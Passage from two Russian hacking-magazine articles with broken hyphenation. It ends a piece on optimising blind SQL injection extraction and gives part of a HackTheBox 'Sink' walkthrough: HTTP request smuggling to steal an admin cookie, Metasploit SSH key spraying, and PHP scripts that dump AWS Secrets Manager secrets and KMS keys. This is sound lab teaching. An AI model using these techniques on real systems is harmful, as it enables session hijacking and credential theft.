получае­ м дополн­ итель­ную информа­цию о  том диапаз­ оне, в  котором лежит ошиб­ очн­ ый симв­ ол — сле­ва, справ­ а или в одном из раз­рывов. Подстройка диапазона поиска По­мимо жес­тко задан­ных диапа­зонов, мы можем модифиц­ иров­ ать диапа­зон в проц­ есс­ е про­веде­ния атак­ и, то есть «на лету». Идеи оптимизации Есл­ и мы уже соб­рали в дан­ной колон­ке неск­ ольк­ о строк и все эти стро­ки име‐­ ют опред­ еленн­ ый набор сим­волов, то вероя­ тно, что и  след­ ующие строк­ и в  этой колонк­ е будут иметь тот же набор симв­ олов. Соотв­ етст­ вен­но, мы можем динамич­ еск­ и собр­ ать диапа­зон использ­ уемых симв­ олов и  в даль‐­ нейшем при­менять этот диапаз­ он для поиск­ а зна­чений в этой колон­ке. Ошиб‐­ ки в  пред­положен­ ии (напр­ имер, если нам ни  разу не  встрет­ ил­ся сим­вол, который на  самом деле может встре­чатьс­ я) можн­ о нивели­ровать исполь‐­ зовани­ем канаре­ечных симв­ олов. Нек­ ото­рые колон­ки могут иметь жест­ ко задан­ные симв­ олы в  опре­делен‐­ ных позици­ях. Нап­ример, GUID (прим­ ер  — 6F9619FF-8B86-D011-B42D- 00CF4FC964FF) имее­ т сим­вол - (минус) на  позиция­ х [8, 13, 18, 23]. Мы можем пров­ ерить, что все сим­волы на  соот­ветст­ ву­ющей позиции сред­ и уже собр­ анных записей имею­ т один­ аков­ ое знач­ ение и вмес­то бинарн­ ого поиск­ а отправ­ ить один зап­рос для про­вер­ки этог­ о симв­ ола. Можн­ о пойт­ и и еще дальш­ е и на основ­ е имею­ щейс­ я ста­тист­ ики по встре‐­ чающимс­ я симв­ олам собирать диапа­зоны так, чтоб­ ы поиск симв­ олов, которые встреч­ ают­ся чаще, треб­ овал бы мень­ше запр­ осов. Форм­ аль­ная пос‐­ тановк­ а задачи  — форм­ ирова­ние алго­рит­ма, минимиз­ иру­юще­го числ­ о зап‐­ росов для  обна­руже­ния симв­ олов на  основ­ е имею­ щег­ ося вероя­ тност­ ног­ о рас­пред­ еле­ния сим­волов. Оптим­ альн­ о решить такую задачу мож­но с помощью H-дерева, исполь­зуемо­го в ко­де Хаф­фман­ а. Дейс­ твит­ ельн­ о, задача сжа­тия ана­логичн­ а нашей задаче: мы хотим находить час­то встреч­ ающиеся симв­ олы за мень­шее количест­ во запр­ осов (то есть пот­ратить на  них мень­ше битов), а  алгор­ итм сжат­ ия  — пред­став­лять такие сим­волы наименьш­ им количес­твом битов. Пос­тро­ение такого дерева треб­ ует однократн­ ого про­хожд­ ения по всей собр­ анной информа­ции для сбо‐­ ра стат­ ист­ ики. Само пост­ ро­ение имее­ т сложн­ ость O(n ∗ log(n)) (где n — раз‐­ мер алфав­ ита), что не так уж мно­го для алфав­ итов в нашей задаче. Пусть мы собр­ али неск­ оль­ко строк и в них имее­ тся сле­дующая стат­ ис­тика расп­ ред­ елен­ ия симв­ олов: Сим­вол Сколь­ко раз встрет­ ил­ся Ве­роят­ность a 34 47,2% b 7 9,7% c 5 7% d 12 16,7% e 4 5,5% f 10 13,9% Для такой стат­ ис­тики мож­но пост­ ро­ить след­ ующее оптим­ аль­ное H-дерево: Для разл­ ичных сим­волов пот­ребуе­ тся разл­ ичное количест­ во зап­росов: • для симв­ ола a — один зап­рос; • для d, f и b — два запр­ оса; • для c и e — три запр­ оса. Ма­тожид­ ание чис­ла запр­ осов на один симв­ ол: 1 ∗ (0, 472) + 2 ∗ (0, 167 + 0, 139 + 0, 097) + 3 ∗ (0, 07 + 0, 055) = 1, 653 При обыч­ном поис­ке по диапа­зону оно сос­тавило бы q(6) = 2, 67. H-дерево мож­но пери­одич­ еск­ и перес­траи­ вать по  мере появ­ления новой стат­ ист­ ики. Поиск в  таком случ­ ае будет чаще треб­ овать разр­ ывов в  диапа‐­ зонах, поэтом­ у в данн­ ом слу­чае будет пред­почтит­ ель­но исполь­зовать тех­нику с опер­ ато­рами IN и NOT IN. Выв­ од: можн­ о пос­трои­ ть алгор­ итм автом­ ати­чес­кой подс­тройк­ и диапа‐­ зона поиск­ а на  осно­ве имею­ щейс­ я ста­тис­тики, что позв­ олит сущест­ вен­но под­нять скор­ ость поис­ка. ДРУГИЕ ИДЕИ ОПТИМИЗАЦИИ Соединение строк Еще один алгор­ итм оптим­ иза­ции основ­ ыва­ется на  идее объе­ дин­ ения все­го отве­та в  одну строк­ у через раз­делите­ли. Это  поз­воля­ет опред­ елить длин­ у строк­ и один раз и сэконом­ ить запр­ осы, одна­ко при этом каж­дый разд­ елитель увел­ ичи­вает количес­тво сим­волов, которые необх­ одимо опред­ елить. Идея алгор­ ит­ма • Для соеди­нения колонок мы можем исполь­зовать опе­рацию кон­катенац­ ии соот­ветст­ ву­ющей СУБД, ста­вя межд­ у ними редк­ о исполь­зуемый раз‐­ делитель (напр­ имер, 0x01). Стро­ки (rows) мы так­же можем объе­ дин­ ить с  исполь­зовани­ем спе­циаль­ных фун­кции (group_concat для  MySQL, string_agg для PostgreSQL). В качес­тве раз­делител­ я строк будем исполь‐­ зовать тот же самый раз­делитель 0x01. • Ана­лизи­руя полученн­ ый ответ, мы смо­жем отлич­ ить начало новой строк­ и (row), подс­ чи­тывая количест­ во колонок. На опред­ елен­ ие длин­ ы строк­ и мы пот­ратим чуть боль­ше зап­росов. Одна­ко количес­тво запр­ осов при­мерн­ о рав­но логариф­му длин­ ы стро­ки и, соотв­ етс­твенн­ о, раст­ ет медл­ еннее, чем сумм­ а зап­росов, которые мы потр­ атили  бы на  опред­ еле­ние длин кажд­ ой строк­ и в отдель­ност­ и. • Так­же в  дан­ном случ­ ае мы можем не  опред­ елять длин­ у стро­ки вов­се, а прост­ о обна­ружи­вать сим­волы, пока они не кон­чатся, как опис­ ано в раз‐­ деле «Опре­деле­ние количес­тва row и  длин­ ы строк». Однак­ о тогд­ а мы не смож­ ем оцен­ ить, сколь­ко врем­ ени займ­ ет получен­ ие данн­ ых, что, ско‐­ рее все­го, непр­ ием­лемо на прак­тике. • Ко­личес­тво запр­ осов, которые будут пот­рачены на  опред­ елен­ ие раз‐­ делите­лей, зависит от  использ­ уемог­ о диапаз­ она под­бора. Раз­делитель сам по  себе добав­ляет­ся как  один сим­вол в  диапаз­ он. Сум­марное количест­ во раз­делите­лей рав­но количес­тву возв­ ращ­ аемых строк минус 1. Таким обра­зом, можн­ о ска­зать, что мы заменяе­ м зат­раты на опре­делен­ ие длин строк на затр­ аты на опре­делен­ ие раз­делител­ ей. • Ес­ли счи­тать, что на опред­ елен­ ие дли­ны стро­ки в средн­ ем тра­тит­ся 7 зап‐­ росов, как  указ­ ано в  раз­деле «Опред­ еле­ние количес­тва записей и  длин­ ы строк», то это  позв­ оляе­ т сэконо­мить 7 − q(len(D)) зап­росов на  каж­дую стро­ку (где D — диапаз­ он поиск­ а). Так­же мы теря­ем q(len(D)) − q(len(D) − 1) зап­росов на каж­дый симв­ ол, т.к. добав­ляем разд­ елитель в диапа­зон. • Ис­польз­ овать разн­ ые диапаз­ оны для поиск­ а в разн­ ых колон­ках мы можем лишь огран­ ичен­но — так как мы исполь­зуем мног­ опот­ очн­ ость и не можем заранее знать — перева­лим мы через разд­ елитель при подб­ оре оче­ред‐­ ного симв­ ола и, соот­ветс­твенн­ о, попадем в  друг­ ую колонк­ у или  нет. Поэтом­ у либо мы долж­ ны исполь­зовать широкие диапаз­ оны, что увел­ ичи‐­ вает q(len(D)) и сни­жает выигр­ ыш от отсутст­ вия необх­ одимос­ти опре­деле‐­ ния длин строк, либо мы можем использ­ овать соот­ветст­ вую­ щие текущей колон­ке диапа­зоны и  получать дополн­ итель­ное количест­ во оши­бок  — попада­ний в канаре­ечные симв­ олы с посл­ еду­ющим пов­торным поиск­ ом. Вы­вод: дан­ная тех­ника прим­ еним­ а тольк­ о в  опред­ елен­ных слу­чаях, например когд­ а все целевые колонк­ и име­ют узкий диапа­зон. Работа с UNICODE В слу­чае, ког­да в  иско­мом текс­ те встре­чаютс­ я сим­волы, отсутст­ вую­ щие в  станд­ ар­тной англий­ской ASCII-табл­ ице, СУБД при­меняю­ т для  хран­ ения Unicode. При­чем в  некотор­ ых СУБД (напр­ имер, MySQL) по  умол­чанию при‐­ меня­ется UTF-8, а  в дру­гих (напр­ имер, PostgreSQL)  — UTF-16. В  обои­ х слу‐­ чаях пре­образ­ ова­ние симв­ ола с помощью фун­кции ASCII/UNICODE при­ведет к получе­нию зна­чения боль­ше 128. Получен­ ие зна­чения боль­ше 128 и будет для нас триг­гером того, что в строк­ е встре­чаютс­ я Unicode-сим­волы. Unicode-симв­ олы имею­ т харак­терный вид для  разл­ ичных язык­ ов. Нап‐­ ример, рус­ские букв­ ы в UTF-8 в качест­ ве пер­вого бай­та имею­ т 0xDO или 0xD1. Если мы работа­ем с  UTF-8, то мы можем предп­ оложить, что посл­ е одног­ о UTF-8  сим­вола с  русс­ кой букв­ ой будет идти еще  один. Тогд­ а пер­вый байт это­го симв­ ола мы можем эффективн­ о обна­ружить, исполь­зуя алфа­вит из двух зна­чений [0xD0,0xD1], а  для втор­ ого байт­ а мы можем огран­ ичить поиск толь­ко зна­чения­ ми, которые соот­ветст­ ву­ют русс­ ким бук­вам. Одн­ ако такой подх­ од не очень хорошо совм­ естим с мно­гопо­точ­ным поис‐­ ком: вероя­ тность того, что симв­ ол, иду­щий через N сим­волов пос­ле текуще‐­ го, такж­ е являе­ тся русс­ ким симв­ олом UTF-8, пада­ет с рост­ ом N . В слов­ е на  русс­ ком язык­ е в  UTF-8  каж­дый вто­рой сим­вол будет 0xD0 или  0xD1, но  пос­ле кон­ца сло­ва, ско­рее все­го, будет сто­ять одноб­ ай­товый сим­вол про­бела или  знак­ а преп­ инан­ ия. Это  сни­жает веро­ятность того, что через чет­ное чис­ло сим­волов посл­ е встреч­ енн­ ого 0xD0 так­же будет 0xD0 или 0xD1. Вы­вод: при  работе с  Unicode воз­можным решение­ м являе­ тся исполь‐­ зование одно­го потока на кажд­ ую строк­ у. Сжатие данных Ряд СУБД подд­ ержив­ ают встро­енные функ­ ции сжат­ ия (нап­ример, COMPRESS для  MySQL и  UTL_COMPRESS.LZ_COMPRESS для  Oracle). Соот­ветс­твенн­ о, их прим­ енен­ ие позв­ оля­ет уменьш­ ить количес­тво симв­ олов, которые нам тре‐­ бует­ся получить. При  этом нам не  нужн­ о делать предп­ оложен­ ия об  исполь‐­ зуемом алфа­вите: резуль­тат сжа­тия — BLOB. Мы будем использ­ овать полн­ ый диапаз­ он из 256 знач­ ений. Нуж­но учит­ ывать, что фун­кции сжат­ ия добав­ляют допол­нитель­ные данн­ ые в  начало сжат­ ого BLOB: разм­ ер изна­чальн­ ой строк­ и и  таб­лицу обратно­го прео­ браз­ ова­ния. Таким обра­зом, эффект име­ется тольк­ о для длинн­ ых строк, а для сов­сем корот­ких строк эффект вооб­ще может быть отри­цатель­ным: SELECT LENGTH(COMPRESS('123')) >> 15 Вы­вод: подоб­ную техн­ ику име­ет смысл прим­ енять сов­мес­тно с  техн­ икой соеди­нения строк. Объе­ ди­нен­ная стро­ка будет длинн­ ой, и алго­ритм­ ы сжа­тия смог­ ут сжать ее дос­таточ­но эффективн­ о. Одна­ко мы будем заст­ авлять СУБД выполн­ ять про­цеду­ру сжа­тия длин­ной строк­ и при  каж­дом зап­росе, чем можем увел­ ичить вре­мя выпол­нения кажд­ ого зап­роса. А ЧТО ТАМ SQLMAP? Работа с потоками Sqlmap не использ­ ует мно­гопот­ очн­ ость при опред­ еле­нии количест­ ва записей или длин строк. Одновре­мен­но он ищет толь­ко сим­волы одной строк­ и. Определение длины строки Sqlmap ищет дли­ну стро­ки, если использ­ уетс­ я неск­ ольк­ о потоков. Если использ­ ует­ся один поток, то он счит­ ает, что строк­ а закон­чилась, как  толь­ко обнар­ ужен перв­ ый сим­вол 0x00. Поиск символов При поис­ке симв­ олов sqlmap использ­ ует след­ ующую техн­ ику: 1. Пер­вый сим­вол ищетс­ я полн­ ым перебор­ ом из 128 симв­ олов (7 запросов). 2. Да­лее выбирае­ тся сим­вол, с  которо­го нач­нется сле­дующий поиск на осно­вании пре­дыдущ­ его обнар­ ужен­ного симв­ ола: • есл­ и это цифр­ а, то sqlmap выбирае­ т 48 (ASCII-код минимальн­ ого сим‐­ вола, циф­ры 0); • есл­ и строч­ная букв­ а, то он выбирае­ т 96 (код a); • ес­ли загл­ авная букв­ а, то 64 (код A). 3. Дал­ ее про­исхо­дит сравн­ ение с этим опред­ еленн­ ым чис­лом и исполь­зует‐­ ся обыч­ный бинар­ный поиск в  оставшемс­ я диапа­зоне. То есть если пре‐­ дыду­щий сим­вол  — бук­ва, то дела­ется снач­ ала сравн­ ение с  48, а  затем, если иско­мое зна­чение боль­ше, делае­ тся поиск в диапаз­ оне 48-127. Единс­твен­ное исключ­ ение: если ока­зывае­ тся, что сле­ва от  текуще­го срав‐­ нивае­ мо­го сим­вола нет ожид­ аемых, то он сраз­ у переход­ ит к срав­нению с 1. Если сравн­ ение с 1 показы­вает, что целевой симв­ ол меньш­ е, то sqlmap счи‐­ тает, что нашел конец строк­ и, и закан­чива­ет поиск. К плю­сам данн­ ого подх­ ода мож­но отнести эффектив­ное обна-­ руже­ние конц­ а стро­ки, осо­бен­но если посл­ едний сим­вол стро­ки — числ­ о. Тогд­ а конец стро­ки будет опре­делен все­го за 3 запр­ оса. Но эта техн­ ика име‐­ ет и не­дост­ аток — низ­кая эффектив­ность поиск­ а в час­ти случ­ аев. Пред­положим, что пре­дыду­щий сим­вол был циф­рой. Тог­да перв­ ое срав‐­ нение делае­ тся с  48, и  если сле­дующий сим­вол сущест­ вуе­ т и  больш­ е 48 (а это наибо­лее вероя­ тная ситу­ация), то на его опред­ еле­ние будет исполь­зован диапаз­ он из  128 − 48 = 80 симв­ олов, то есть q(80) = 6, 4 запр­ осов. При  этом один запр­ ос уже будет сде­лан для сравн­ ения с 48, так что сум­марно sqlmap потр­ атит 7,4 запр­ оса (друг­ ими сло­вами, появ­ляетс­ я веро­ятность, что он пот‐­ ратит 8 запр­ осов). При этом, если бы sqlmap делал пол­ный бинарн­ ый поиск, то пот­ратил бы ровн­ о 7 и никак не больш­ е. Выбор диапазона символов У sqlmap есть параметр --charset, с  помощью которо­го мож­но задать диапаз­ он сим­волов, сред­ и которых будет про­водитс­ я бинар­ный поиск. Unicode Sqlmap умее­ т автом­ атич­ ес­ки обнар­ ужи­вать неод­нобайт­ овые симв­ олы, одна‐­ ко работа с  ними край­не мед­ленная. В  моем экспер­ имен­те на  поиск одной русс­ кой букв­ ы в средн­ ем ухо­дило 34 зап­роса. Друг­ ие рас­смотр­ енные вари­анты опти­мизац­ ии в  sqlmap не  реали­зован­ ы (по крайн­ ей мере, я их не обна­ружил). ВЫВОДЫ В этой статье я прив­ ел теорет­ ическ­ ий обзор основных спос­ обов опти­миза‐­ ции экс­плу­атац­ ии Blind SQL-инъ­екций. Какие‑то из  них более эффективн­ ы, какие‑то менее, но  я попытал­ся прив­ ест­ и наибол­ ее полн­ ый перечень. Если у  тебя есть друг­ ие идеи и  техн­ ики опти­миза­ции  — пиши мне в  телег­рам @sorokinpf, обсу­дим! Пос­тепенн­ о я план­ ирую реали­зовать некото­рые из  опис­ анн­ ых спо­собов в свое­ м фрейм­ ворк­ е для эксп­ луа­ тац­ ии Blind SQL-инъ­екций — sqli_blinder (да, с  фан­тази­ей у  меня так себе). На  дан­ный момент фрей­мворк реализ­ ует баналь­ный бинарн­ ый поиск, подд­ ержив­ ает работу с  SQLite, MSSQL, Oracle, MySQL и PostgreSQL. Для работы с ним необх­ одимо написать одну фун­кцию на  python, которая опре­делит, куда фрейм­ вор­ку под­ставл­ ять запр­ осы и  как ана­лизи­ровать отве­ты.

ВЗЛОМ HTB SINK УЧИМСЯ ПРЯТАТЬ ЗАПРОСЫ HTTP И РАЗБИРАЕМСЯ С AWS SECRETS MANAGER В этой статье мы прой­дем машину Sink RalfHacker [email protected] с  площ­ адк­ и HackTheBox. Для  этог­ о нам понадо­бит­ся проэ­ ксп­ луа­ ти­ровать уяз‐­ вимость HTTP Request Smuggling, а получив точк­ у опор­ ы, будем раз­бирать­ся с  тех‐­ нологи­ей AWS Secrets Manager. Ску­чать точ­но не прид­ етс­ я! WARNING Подк­ лю­чать­ся к  машинам с  HTB рекомен­дуетс­ я тольк­ о через VPN. Не делай этог­ о с компь­ютер­ ов, где есть важ­ные для тебя данн­ ые, так как ты ока‐­ жешь­ся в общей сети с дру­гими участ­ ник­ ами. РАЗВЕДКА Сканирование портов Адр­ ес машины — 10.10.10.225, добавл­ яем его в /etc/hosts как sink.htb. Справка: сканирование портов Скан­ иро­вание порт­ ов — стан­дарт­ ный перв­ ый шаг при любой атак­ е. Он поз‐­ воля­ет атак­ ующе­му узнать, какие служб­ ы на  хост­ е при­нима­ют соеди­нение. На  основ­ е этой информа­ции выбира­ется след­ ующий шаг к  получен­ ию точк­ и вход­ а. Наи­ бол­ ее извес­тный инс­трум­ ент для ска­ниров­ ания — это Nmap. Улуч­шить результ­ аты его работы ты можешь при помощи след­ ующег­ о скрип­та. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Он дейс­ тву­ет в  два этап­ а. На  пер­вом про­извод­ итс­ я обыч­ное быст­ рое ска‐­ ниро­вание, на втор­ ом — более тща­тельн­ ое ска­ниро­вание, с использ­ овани­ем име­ющихс­ я скрип­тов (опция -A). Рез­ ульт­ ат работы скрипт­ а В резуль­тате ска­ниров­ ания находим три откры­тых пор­та: 22 (служб­ а SSH), 3000 (Gitea) и 5000 (Gunicorn). Нач­нем с Git. Об­наруженн­ ые име­на поль­зовател­ ей Мы видим какие‑то име­на польз­ овате­лей (запишем их, могут приг­ одить­ся!), но больш­ е ничего инте­ресн­ ого нет. Поэтом­ у перехо­дим к Gunicorn. На сайт­ е, который он отдае­ т, нуж­но регис­три­ровать­ся. Сде­лаем это, автор­ изуе­ мся и пос­мотрим, что нам стан­ ет дос­тупно. Осм­ отр сайт­ ов я рекомен­дую пров­ одить через Burp, что­бы мож­но было просм­ отреть все отправл­ яемые и  получае­ мые данн­ ые. Так пос­ле отправк­ и комм­ ентар­ ия в  ответ­ е замеча­ем заголов­ ок Via. Это  заголов­ ок для  прокс­ и, в котором ука­зано haproxy. Зап­рос в истор­ ии Burp Отв­ ет серв­ ера в истор­ ии Burp HAProxy  — это  сер­верное прил­ ожен­ ие, которое обес­печива­ет высокую дос‐­ тупность сай­та и  баланс­ иру­ет нагр­ узку TCP и  HTTP-прил­ оже­ний меж­ду нес‐­ коль­кими сер­верами. Дальш­ е я попытал­ся поск­ аниро­вать дирек­тории. У меня ничего не вышл­ о, зато сообщ­ ение об  ошиб­ке помогл­ о выясн­ ить использ­ уемую вер­сию HAProxy — 1.9.10. Ошибк­ а, полученн­ ая при ска­ниров­ ании директ­ орий Пог­ угл­ ив, узна­ем, что эта верс­ ия уязв­ има к ата­ке HTTP Request Smuggling. ТОЧКА ВХОДА HTTP Request Smuggling HTTP Request Smuggling  — это  метод вмеш­ ательс­ тва в  проц­ есс обраб­ от­ки сай­том HTTP-запр­ осов, получен­ных от одно­го или нес­кольк­ их польз­ овате­лей. Уязв­ имость част­ о име­ет кри­тическ­ ий харак­тер и  позв­ оля­ет злоу­ мышл­ енни­ку обойт­ и меры безопасн­ ости, получить несанк­ цио­ ни­рован­ный дост­ уп к  кон‐­ фиденц­ иальн­ ым данн­ ым и нап­рямую пос­тавить под угроз­ у друг­ их польз­ овате‐­ лей прил­ оже­ния. Уяз­вимость возн­ ика­ет из‑за того, что спец­ ифик­ ация HTTP пре­дост­ авляе­ т два разн­ ых спос­ оба указ­ ать, где закан­чивае­ тся запр­ ос: заголов­ ок Content-Length и заголо­вок Transfer-Encoding. За­голо­вок Content-Length прост: он опред­ еляе­ т длин­ у тела сооб­щения в бай­тах. Напр­ имер: POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 6 p=test За­голов­ ок Transfer-Encoding может при­менять­ся для  указ­ ания того, что использ­ ует­ся тело сооб­щения с  фрагм­ енти­рован­ным кодиров­ ани­ем. Это зна­чит, что тело сооб­щения содерж­ ит один или нес­кольк­ о бло­ков дан­ных. Бло­ки устро­ены так. Сна­чала идет раз­мер блок­ а в байт­ ах (в hex), затем знак новой строк­ и, а  даль­ше  — содер­жимое бло­ка. Сооб­щение закан­чивае­ тся бло­ком нулевог­ о разм­ ера. Напр­ имер: POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked a param=test 0 Так мы можем использ­ овать одновре­менн­ о два заголов­ка. Перв­ ый серв­ ер будет раз­делять запр­ осы по пер­вому заголов­ку, а вто­рой — по втор­ ому, тем самым встраи­ вая свои зап­росы и про­пуск­ ая их дальш­ е. Прис­тупим к  реализ­ ации. Отпра­вим ком­мента­рий и  перех­ватим зап­рос в Burp Proxy. Зап­рос на серв­ ер Его стои­ т прео­ бра­зовать след­ ующим обра­зом: ука­жем заголов­ ок Transfer- Encodeing:[\\x0b]chunked и  поменя­ем зна­чение Connection на  keep- alive. Посл­ е чего дубл­ иру­ем заголовк­ и зап­роса в тело зап­роса. Изм­ енен­ный запр­ ос Посл­ е редирект­ а видим явно не тот комм­ ента­рий, который отправл­ яли. Отв­ ет в Burp Комм­ ентар­ ии на стра­нице сайт­ а Дел­ о в  том, что внутр­ енний серв­ ер непр­ авиль­но интер­пре­тиро­вал раз­мер переданн­ ых данн­ ых из‑за путаниц­ ы в  опре­деляю­ щих его HTTP заголов­ках, поэтом­ у отобр­ азил больш­ е информа­ции, чем долж­ ен был. Блок допол­нитель‐­ ной информа­ции, отоб­ражен­ной в  комм­ ента­рии, был взят из  след­ ующег­ о зап­роса дру­гого поль­зовател­ я. В этом зап­росе переда­вались cookie дру­гого польз­ овател­ я, которые мы сра­зу подс­ тавл­ яем себе и  перезаг­ружа­ем стра‐­ ницу. Как  можн­ о заметить, в  дан­ный момент мы имее­ м сес­сию админ­ ист­ ра‐­ тора сай­та. Шапк­ а сайт­ а Так как  это сер­вис хран­ ения заметок, сраз­ у прос­мотрим, что может хран­ ить админ. Находим три замет­ки. За­писи админ­ ист­ ра­тора Кажд­ ая из них содерж­ ит учет­ные данн­ ые. Сод­ ер­жимое заметок админ­ ис­тра­тора ТОЧКА ОПОРЫ С найд­ енн­ ыми учет­ными данн­ ыми получае­ тся автор­ изов­ атьс­ я в  Git от  име­ни root. Находим очень мно­го ком­митов, которые стои­ т прос­мотреть. Оттуд­ а мы можем получить еще  какие‑нибудь учетн­ ые данн­ ые, сек­реты, токены или прост­ о узнать исполь­зуемые техн­ ологии. Стран­ ица Git поль­зовател­ я root Я начал просм­ отр с  конц­ а. Важн­ ые дан­ные нашл­ ись в  комм­ ите вот по  этой ссылк­ е: http://sink.htb:3000/root/Log_Management/commit/ e8d68917f2570f3695030d0ded25dc95738fb1baa Ис­ходный код logs.php А в этом ком­мите нашел­ся при­ват­ный ключ: http://sink.htb:3000/root/Key_Management/commit/ b01a6b7ed372d154ed0bc43a342a5e1203d07b1e Ис­ходный код dev_keys Не­обход­ имо пров­ ерить этот ключ. Для этог­ о сфор­миру­ем спи­сок поль­зовате‐­ лей и  попытае­ мся подк­ люч­ ить­ся по  SSH. Для  автом­ атиз­ ации я использ­ овал Metasploit Framework. msfconsole use auxiliary/scanner/ssh/ssh_login_pub set RHOSTS sink.htb set USER_FILE users.txt set KEY_PATH root.key run Наст­ рой­ка Metasploit для перебо­ра поль­зовате­лей Рез­ уль­тат перебо­ра польз­ овате­лей В итог­ е находим поль­зовате­ля, к  учет­ке которог­ о под­ходит ключ. Так мы получае­ м ста­бильн­ ую точ­ку опор­ ы в виде дост­ упа по SSH. Флаг польз­ овате­ля →Продолжение статьи

ВЗЛОМ ← НАЧАЛО СТАТЬИ HTB SINK УЧИМСЯ ПРЯТАТЬ ЗАПРОСЫ HTTP И РАЗБИРАЕМСЯ С AWS SECRETS MANAGER ПРОДВИЖЕНИЕ AWS Secrets Manager В репозит­ ории мы наш­ли секр­ ет и ключ для AWS. Про­верим, работа­ет ли этот серв­ ис на хост­ е, а именн­ о — открыт ли порт 4566. Пров­ ерк­ а дос­тупност­ и пор­та Порт открыт, AWS работае­ т. Теперь можн­ о с  полн­ ой уве­ренн­ остью сказ­ ать, что мы нашл­ и дальн­ ейший вект­ ор ата­ки. AWS Secrets Manager поз­воляе­ т защищать конф­ иденц­ иальн­ ые дан­ные, использ­ уемые для дос­тупа к при­ложе‐­ ниям, сер­висам и  друг­ им ресурс­ ам. Серв­ ис пред­назна­чен для  упро­щения ротации и  извле­чения данн­ ых для  дост­ упа к  БД, клю­чей API и  друг­ их кон‐­ фиден­циальн­ ых дан­ных, а  так­же управле­ния ими. Чтоб­ ы прод­винутьс­ я даль‐­ ше, нам нуж­но зах­ватить учетк­ у дру­гого польз­ овател­ я, и  это отличное мес­то для поиск­ ов. Секр­ ет и  ключ дает нам воз­можность получить кри­тическ­ ие данн­ ые. Для  это­го мы использ­ уем SecretsManagerClient из  репози­тория и  код из документ­ ации. Но сперв­ а тунн­ елиру­ем порт: sudo ssh -L 4566:127.0.0.1:4566 -i root.key [email protected] Та­ким образ­ ом весь траф­ ик, который мы пошл­ ем на  локальн­ ый порт  4566, будет тун­нелиров­ ан на порт 4566 удал­ енн­ ого хост­ а. А теперь, использ­ уя код из  докумен­тации с  под­став­ленны­ми дан­ными SecretsManagerClient, получим спис­ ок сох­ранен­ных сек­ретов. <?php require 'vendor/autoload.php'; use Aws\\SecretsManager\\SecretsManagerClient; use Aws\\Exception\\AwsException; $client = new SecretsManagerClient([ 'region' => 'eu', 'endpoint' => 'http://127.0.0.1:4566', 'credentials' => [ 'key' => 'AKIAIUEN3QWCPSTEITJQ', 'secret' => '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' ], 'version' => 'latest' ]); try { $result = $client->listSecrets([ ]); var_dump($result); } catch (AwsException $e) { // output error message if fails echo $e->getMessage(); echo \"\\n\"; } ?> Спи­сок сох­раненн­ ых секр­ етов. Так как мы име­ем сек­реты, мы можем получить хра­нящи­еся знач­ ения. Такж­ е исполь­зуем док­ умент­ ацию, най­денн­ ые сек­реты и дан­ные из репози­тория. <?php require 'vendor/autoload.php'; use Aws\\SecretsManager\\SecretsManagerClient; use Aws\\Exception\\AwsException; $client = new SecretsManagerClient([ 'region' => 'eu', 'endpoint' => 'http://127.0.0.1:4566', 'credentials' => [ 'key' => 'AKIAIUEN3QWCPSTEITJQ', 'secret' => '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' ], 'version' => 'latest' ]); $secretName = [\"arn:aws:secretsmanager:us-east-1:1234567890:secret: Jenkins Login-ElTxf\",\"arn:aws:secretsmanager:us-east-1:1234567890: secret:Sink Panel-qZfJI\",\"arn:aws:secretsmanager:us-east-1: 1234567890:secret:Jira Support-GoJSC\"]; for($i=0; $i<3; $i+=1){ try { $result = $client->getSecretValue([ 'SecretId' => $secretName[$i], ]); } catch (AwsException $e) { $error = $e->getAwsErrorCode(); if ($error == 'DecryptionFailureException') { throw $e; } if ($error == 'InternalServiceErrorException') { throw $e; } if ($error == 'InvalidParameterException') { throw $e; } if ($error == 'InvalidRequestException') { throw $e; } if ($error == 'ResourceNotFoundException') { throw $e; } } if (isset($result['SecretString'])) { $secret = $result['SecretString']; } else { $secret = base64_decode($result['SecretBinary']); } echo $secret . \"\\n\"; } ?> Сохр­ аненн­ ые в AWS данн­ ые Так мы получае­ м учетн­ ые дан­ные трех поль­зовате­лей. Поль­зователь david при­сутст­ вуе­ т в  сис­теме, и  най­ден­ный пароль поз­воляе­ т авто­ризов­ атьс­ я от его име­ни. Сме­на польз­ овател­ я ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ В домашн­ ей дирек­тории находим какой‑то прое­ кт, а в нем — зашифр­ ован­ный файл. Ре­зульт­ ат работы скрипт­ а Так как  файл зашифр­ ован, а  мы уже имел­ и дело с  AWS, давай поп­робуе­ м и  рас­шифро­вать его с  помощью AWS. Сна­чала нуж­но получить спи­сок клю‐­ чей, шаб­лон кода снов­ а берем из до­кумент­ ации. <?php require 'vendor/autoload.php'; use Aws\\Kms\\KmsClient; use Aws\\Exception\\AwsException; $KmsClient = new Aws\\Kms\\KmsClient([ 'version' => 'latest', 'region' => 'eu', 'credentials' => [ 'key' => 'AKIAIUEN3QWCPSTEITJQ', 'secret' => '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' ], 'endpoint' => 'http://127.0.0.1:4566' ]); $limit = 10; try { $result = $KmsClient->listKeys([ 'Limit' => $limit, ]); var_dump($result); } catch (AwsException $e) { // output error message if fails echo $e->getMessage(); echo \"\\n\"; } ?> Пол­ уче­ние клю­чей AWS Имея спи­сок ключ­ ей, давай поп­робу­ем рас­шифров­ ать сообщ­ ение. Сна­чала закодир­ уем в Base64 для удобст­ ва работы. Ко­диров­ ание сообщ­ ения И снов­ а фор­мируе­ м код для дешиф­ровки из шаб­лона. <?php require 'vendor/autoload.php'; use Aws\\Kms\\KmsClient; use Aws\\Exception\\AwsException; $KmsClient = new Aws\\Kms\\KmsClient([ 'version' => 'latest', 'region' => 'eu', 'credentials' => [ 'key' => 'AKIAIUEN3QWCPSTEITJQ', 'secret' => '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' ], 'endpoint' => 'http://127.0.0.1:4566' ]); $keys = [ \"0b539917-5eff-45b2-9fa1-e13f0d2c42ac\", \"16754494-4333-4f77-ad4c-d0b73d799939\", \"2378914f-ea22-47af-8b0c-8252ef09cd5f\", \"2bf9c582-eed7-482f-bfb6-2e4e7eb88b78\", \"53bb45ef-bf96-47b2-a423-74d9b89a297a\", \"804125db-bdf1-465a-a058-07fc87c0fad0\", \"837a2f6e-e64c-45bc-a7aa-efa56a550401\", 